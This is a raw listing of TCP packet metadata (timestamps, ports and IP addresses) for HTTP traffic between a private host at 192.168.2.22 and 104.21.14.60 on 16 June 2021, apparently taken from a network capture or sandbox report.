Jun 16, 2021 12:05:23.181118965 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.181138992 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.181163073 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.181168079 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.181190968 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.181215048 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.181222916 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.181237936 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.181267023 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.181884050 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.181910992 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.181932926 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.181948900 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.181960106 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.181984901 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.181988001 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.182008982 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.182034016 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.182037115 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.182058096 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.182085037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.182086945 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.182109118 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.182132006 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.182137012 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.182157040 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.182197094 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.182878971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.182907104 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.182931900 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.182941914 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.182959080 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.182987928 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.182991982 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.183013916 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.183036089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.183058023 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.183077097 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.183083057 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.183089018 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.183108091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.183144093 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.183144093 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.183168888 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.183201075 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.183769941 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.183796883 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.183821917 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.183835030 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.183847904 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.183876991 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.183881998 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.183902025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.183926105 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.183933020 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.183949947 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.183974981 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.183979988 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.183999062 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.184020996 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.184029102 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.184041023 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.184072971 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.184693098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.184721947 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.184746981 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.184757948 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.184770107 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.184793949 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.184803009 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.184818029 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.184839964 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.184849977 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.184861898 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.184883118 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.184904099 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.184911966 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.184925079 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.184947014 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.184958935 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.185612917 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.185638905 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.185659885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.185661077 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.185682058 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.185691118 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.185708046 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.185730934 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.185739994 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.185758114 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.185782909 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.185791016 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.185807943 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.185832024 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.185838938 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.185857058 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.185880899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.185889959 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.186594009 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.186619043 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.186644077 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.186646938 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.186666965 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.186676979 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.186690092 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.186711073 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.186719894 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.186734915 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.186757088 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.186764956 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.186780930 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.186805010 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.186811924 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.186831951 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.186857939 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.186862946 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.187494040 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.187520981 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.187544107 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.187545061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.187570095 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.187589884 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.187592983 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.187619925 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.187628031 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.187644005 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.187664986 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.187675953 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.187686920 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.187709093 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.187719107 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.187731028 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.187753916 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.187776089 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.188424110 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.188451052 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.188471079 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.188473940 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.188494921 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.188507080 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.188519955 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.188540936 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.188550949 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.188563108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.188584089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.188596010 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.188605070 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.188626051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.188635111 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.188647032 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.188669920 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.188678026 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.189389944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.189419031 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.189438105 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.189443111 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.189471006 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.189474106 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.189497948 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.189522028 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.189529896 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.189547062 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.189572096 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.189580917 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.189595938 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.189619064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.189626932 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.189644098 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.189671993 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.189672947 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.218015909 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.218333960 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.220230103 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220262051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220283031 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220304012 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220319033 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.220324039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220335960 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.220345020 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220369101 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220376968 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.220391035 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220407963 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220421076 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.220498085 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220525026 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220532894 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.220547915 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220570087 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220580101 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.220592022 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220613003 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220623970 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.220633984 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220654964 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220669985 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.220676899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220701933 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220710993 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.220726967 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220746994 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.220757008 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.221446037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.221472025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.221492052 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.221494913 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.221518040 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.221527100 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.221539974 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.221560955 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.221573114 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.221584082 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.221606970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.221620083 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.221631050 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.221656084 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.221664906 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.221681118 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.221705914 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.221713066 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.222502947 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.222532034 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.222549915 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.222557068 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.222583055 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.222589970 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.222606897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.222630978 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.222640038 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.222654104 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.222677946 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.222687006 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.222702026 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.222728968 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.222737074 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.222754002 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.222775936 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.222784042 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.223278046 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.223305941 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.223320961 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.223330021 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.223355055 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.223364115 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.223380089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.223407984 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.223416090 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.223433971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.223458052 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.223469019 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.223481894 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.223505974 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.223515034 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.223530054 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.223553896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.223562956 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.224217892 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.224245071 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.224267006 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.224270105 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.224291086 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.224301100 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.224313974 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.224337101 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.224349022 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.224361897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.224385977 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.224395037 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.224412918 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.224438906 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.224446058 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.224462032 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.224486113 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.224493980 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.225158930 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.225186110 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.225208998 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.225209951 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.225235939 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.225244045 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.225260019 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.225284100 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.225292921 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.225310087 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.225334883 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.225343943 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.225354910 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.225379944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.225388050 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.225403070 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.225426912 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.225440025 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.226134062 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.226162910 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.226183891 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.226186037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.226212025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.226219893 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.226236105 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.226260900 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.226269007 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.226284027 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.226305962 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.226315975 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.226327896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.226350069 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.226361036 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.226372957 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.226397038 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.226404905 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.227040052 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.227066040 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.227087975 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.227094889 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.227104902 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.227139950 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.227159023 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.227176905 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.227197886 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.227206945 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.227221012 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.227231026 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.227245092 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.227269888 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.227277040 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.227292061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.227325916 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.227969885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.227998972 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.228024006 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.228038073 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.228046894 CEST	80	49168	104.21.14.60	192.168.2.22
